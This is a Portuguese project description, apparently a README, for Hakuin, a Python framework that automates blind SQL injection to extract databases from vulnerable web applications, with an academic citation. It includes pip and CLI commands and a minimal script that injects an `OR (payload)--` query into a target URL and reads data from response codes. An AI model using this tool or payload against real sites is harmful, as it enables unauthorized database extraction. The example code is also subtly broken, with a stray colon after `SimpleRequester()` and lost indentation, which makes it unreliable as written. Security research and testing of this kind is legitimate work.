
Um framework de otimização e automação de Injeção SQL Cega extremamente rápido e totalmente configurável.
Hakuin é um framework de otimização e automação de Injeção SQL Cega (BSQLI) escrito em Python 3. Ele abstrai a lógica de extração e permite que os usuários façam dump de bancos de dados de aplicações web vulneráveis de forma fácil e eficiente. Para acelerar o processo, o Hakuin utiliza uma variedade de métodos de otimização, incluindo modelos de linguagem pré-treinados e adaptativos, adivinhação oportunista, modelagem estatística, paralelismo, consultas ternárias e muito mais.
O Hakuin foi apresentado em conceituadas conferências acadêmicas e industriais:
Mais informações podem ser encontradas em nosso artigo e slides.
Para instalar o Hakuin, basta executar:
pip3 install hakuin
O Hakuin vem com uma ferramenta intuitiva que oferece a maioria dos recursos do Hakuin diretamente da linha de comando:
hk -h
Às vezes, as vulnerabilidades de BSQLI são muito complicadas de explorar pela linha de comando e exigem scripting personalizado. É aí que o Hakuin brilha, permitindo que você personalize absolutamente tudo - a lógica de injeção, a lógica de inferência e até mesmo as consultas.
Aqui está um exemplo mínimo:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Certifique-se de passar pelo nosso tutorial.
Este repositório é ativamente desenvolvido para atender às necessidades dos profissionais de segurança. Pesquisadores que desejam reproduzir os experimentos descritos em nosso artigo devem instalar a versão congelada pois ela contém o código original, scripts de experimento e um manual de instruções para reproduzir os resultados.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}